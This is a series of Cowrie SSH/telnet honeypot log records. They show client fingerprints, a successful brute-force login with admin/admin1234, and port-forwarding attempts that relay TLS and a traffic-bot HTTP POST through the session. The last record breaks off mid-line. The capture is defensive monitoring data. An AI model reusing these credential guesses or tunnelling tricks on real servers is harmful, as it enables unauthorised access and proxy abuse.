{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.862426Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x11\\x10\\xcfgIX\\xcb\\x00\\x01\\xad_3\\x7f\\x12\\xc5\\x91M\\x941\\xca\\xe1|\\xf6\\xef=\\xb9\\xb7\\x0f\\xed\\n\\tx \\x06\\xe7\\x81oQ\\x1a\\xc0\\xf0\\xd1\\x0c\\x19\\x8b\\xd2B\\xacQ\\x9d9\\xc9\\xae\\r\\t\\xd6E\\xf0\\xdb\\xb0\\xabvWLF\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x94\\xe8J\\x98\\xae\\xd3=r$ce\\xe4.\\xf9\\xbf@\\x9e\\x04i\\xe2\\xfe\\x94\\xc2\\xb1\\xf8\\xb1\\xe2H\\xe9\\xffA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x11\\x10\\xcfgIX\\xcb\\x00\\x01\\xad_3\\x7f\\x12\\xc5\\x91M\\x941\\xca\\xe1|\\xf6\\xef=\\xb9\\xb7\\x0f\\xed\\n\\tx \\x06\\xe7\\x81oQ\\x1a\\xc0\\xf0\\xd1\\x0c\\x19\\x8b\\xd2B\\xacQ\\x9d9\\xc9\\xae\\r\\t\\xd6E\\xf0\\xdb\\xb0\\xabvWLF\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x04\\x94\\xe8J\\x98\\xae\\xd3=r$ce\\xe4.\\xf9\\xbf@\\x9e\\x04i\\xe2\\xfe\\x94\\xc2\\xb1\\xf8\\xb1\\xe2H\\xe9\\xffA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.866617Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:07.942118Z","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:08.128724Z","src_ip":"91.92.40.36","session":"cf010f9956c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:08.195023Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\x9c\\x15\\x0fh\\xc2&\\xe1\\xf3\\xd9t[N\\xa0VL\\xca.\\xbaC\\t\\xa1\\x05\\xf9\\xf6q\\xe3\\xfb1\\x97\\xa4\\xfa z\\xb8a\\xd2\\xd6p\\t\\x17\\x7f\\xeaZ\\xcc}>\\x9e\\xa9G\\xd05\\xc2M\\xfb\\xe9\\x9f\\xf2w\\x9e\\x08\\xd7\\xa0\\xb3\\x92\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xfc_DW\\x8b\\x8b\\xca\\x16\\xa1\\xddQ\\x10\\xdc-\\xe5\\xf6\\x8a\\xb1\\xefU\\x91\\xf7\\x0c\\xa6\\x7f\\x06!5\\xbfy-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030\\x9c\\x15\\x0fh\\xc2&\\xe1\\xf3\\xd9t[N\\xa0VL\\xca.\\xbaC\\t\\xa1\\x05\\xf9\\xf6q\\xe3\\xfb1\\x97\\xa4\\xfa z\\xb8a\\xd2\\xd6p\\t\\x17\\x7f\\xeaZ\\xcc}>\\x9e\\xa9G\\xd05\\xc2M\\xfb\\xe9\\x9f\\xf2w\\x9e\\x08\\xd7\\xa0\\xb3\\x92\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xfc_DW\\x8b\\x8b\\xca\\x16\\xa1\\xddQ\\x10\\xdc-\\xe5\\xf6\\x8a\\xb1\\xefU\\x91\\xf7\\x0c\\xa6\\x7f\\x06!5\\xbfy-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:08.198677Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:08.566047Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:08.576449Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1c8c6bb739","protocol":"ssh","message":"New connection: 113.164.152.20:52382 (10.17.0.5:22) [session: 0f1c8c6bb739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.135030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.139975Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08844208717346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.223303Z","src_ip":"172.81.62.90","session":"644d6e20982d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b551fda90d3","protocol":"ssh","message":"New connection: 91.92.40.36:43486 (159.203.135.109:22) [session: 1b551fda90d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.348074Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.418637Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.831736Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:11.835461Z","src_ip":"91.92.40.36","session":"1b551fda90d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:12.605431Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":41424,"dst_ip":"159.203.135.109","dst_port":23,"session":"af798968065c","protocol":"telnet","message":"New connection: 107.6.151.170:41424 (159.203.135.109:23) [session: af798968065c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:12.998391Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:13.028884Z","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:13.156015Z","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:13.302915Z","src_ip":"113.164.152.20","session":"0f1c8c6bb739","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bUEwSiQpWmh1Wkx5azdISw%3D%3D7i6lUjnA9YUDFRKrRT3SUMa0xUKf3DFINhw%2F7DoIwBuH88iNKcWeIkPgH%2BZqWTPMuFhKP6OaD%2BZCcXhHCVBh7LD5D3s303AOChY5lkf%2B%2Fwvyxp4Ti1RJkbGBOqgnFX8vfEz9zO6w%2BubWvycd%2BH5zztE9e8gtSR46433vddJLqiOcYq8DuZg15v8Yt4ARrVqWy4OXrgcU%2BOurmkm4i3cz0p7iW9xn2huQuBYMZr0ib8aK%2F%2BJ%2BQ8YzViqr5LsFY4Rtr5zMHuysQcncZGa1FOl6AbHzG%2Fpf529U6Fju2tjZv5dKc2Z52EOYKGVwiOXlgnI1D2FaIYJ1wxVYUkraT6zklveu0tfceQYXYX3x8%2Fs3haobfqP%2BCq0vVuPInbAKp9k5HIZ6PV8gXsdunqunO9ByKK2ablBr04Zlum%2B7SeOk8YomFsRPr2Sd7yhUFWwN%2BSrd2pgO8hcOPufFQ1XTgj0yA8JHd5WbDklytz03aJyVFg8whOd%2B3AvaBiqTTqFXS9h%2BKb3UrW9oOcmUpSNJnMB8yq%2FuSupcdh%2Ff3QaOCZ%2BJQvL09hDafWF5jjcdLOljfIGeGX3JtTO8Un69AWIcHq2iqjlXzNfhDuiMC8dkZzMB8L%2BJQL2cU%2BehFRDcET55ljMGOlJ0T6TqI2gIGhfdkf1WyA1vRWG6d5iMcCzd6Wk%2FXYiE1HXEZBNa%2FTX9ef%2FkrCZzQ0qvUOz%2BHXay62vfReYVmmnPpWNX%2Bu2gyrouFFiguTU452njXOhFvi266H6cTKcz9G9JE12ig1jS7P1V979Of6p98%2B0R5%2FLlN%2BY5CEUdrbO3vN42Zg2QHUMIYYcwDYyLk6rHZeCxswxChXy6XUZfbRWB%2FMeQKS4HFpWazJc6EvBgwiqJUPDoqXqrXpkiLsnLYx0lTYoACYdkKFs3dxfHxakRnu4%2BUQGgtN0jJ6swH6%2BlF9H7tWbVkFaNJ%2FUiV7thpF7RjDp8uzGbSS3oSxX1HvSHRnyghGB04HGuFQX5RgIZL4C2a86tcZBMJkKPwu9nqAz4y2g6OOMzJkd1AcmHAzoWhZmshndsuEMPIhHWi4NKrMHxuggpv2djBa2Ay%2BMD'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 